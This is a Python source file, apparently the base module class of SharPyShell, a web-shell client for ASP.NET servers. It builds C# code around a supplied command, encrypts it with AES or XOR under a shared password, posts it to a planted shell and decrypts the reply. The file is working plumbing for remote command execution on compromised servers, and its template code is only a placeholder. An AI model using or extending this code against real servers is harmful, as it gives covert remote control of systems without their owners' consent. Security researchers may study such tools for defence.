Files
2021-09-19 15:47:35 +02:00

98 lines
4.0 KiB
Python

from core.ChannelAES import ChannelAES
from core.ChannelXOR import ChannelXOR
from utils.Singleton import Singleton
import base64
import traceback
class ModuleException(ValueError):
pass
class Module(Singleton):
# Override these properties
_exception_class = ModuleException
short_help = "Short Help"
complete_help = r"""
Complete Help
Usage:
#command command [args]
"""
'''runtime_code must have the class name "SharPyShell" and the main function name "ExecRuntime". The ExecRuntime
function will be the code run on the server and it must return results in byte[] type '''
_runtime_code = r"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string DynamicFunc(string arg)
{
return "Override the Runtime Code: " + arg;
}
public byte[] ExecRuntime()
{
string output_func=DynamicFunc(@"%s");
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
# End Override these properties
def __init__(self, password, channel_enc_mode, module_settings, request_object):
self._password = password
self._module_settings = module_settings
self._channel_enc_mode = channel_enc_mode
if 'aes' in channel_enc_mode:
self._channel_enc_obj = ChannelAES(password)
else:
self._channel_enc_obj = ChannelXOR(password)
self._request_object = request_object
# Override this method
def _create_request(self, args):
cmd = ''.join(args)
return self._runtime_code % cmd
# End Override this method
def _encrypt_request(self, request_clear):
request_encrypted = self._channel_enc_obj.encrypt(request_clear.encode())
request_encrypted_encoded = base64.b64encode(request_encrypted)
return request_encrypted_encoded.decode()
def _post_request(self, request_encrypted_encoded):
response_status_code, response_headers, response_text = \
self._request_object.send_request(request_encrypted_encoded)
if response_status_code != 200:
raise self._exception_class('{{{' + str(self._exception_class.__name__) + '}}}\n' +
str(response_headers) + '\n\n' +
str(response_text))
return response_text
def _decrypt_response(self, encrypted_response_encoded):
response_encrypted = base64.b64decode(encrypted_response_encoded)
response_clear = self._channel_enc_obj.decrypt(response_encrypted)
return response_clear
def _parse_response(self, response):
response = response.decode() if isinstance(response, bytes) else response
if '{{{' + self._exception_class.__name__ + '}}}' in response:
raise self._exception_class(str(response))
if '{{{SharPyShellError}}}' in response or '{{{PythonError}}}' in response:
raise self._exception_class('{{{' + self._exception_class.__name__ + '}}}' + str(response))
return str(response)
def run(self, args):
try:
request = self._create_request(args)
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
parsed_response = self._parse_response(decrypted_response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
except Exception:
parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
str(traceback.format_exc())
return parsed_response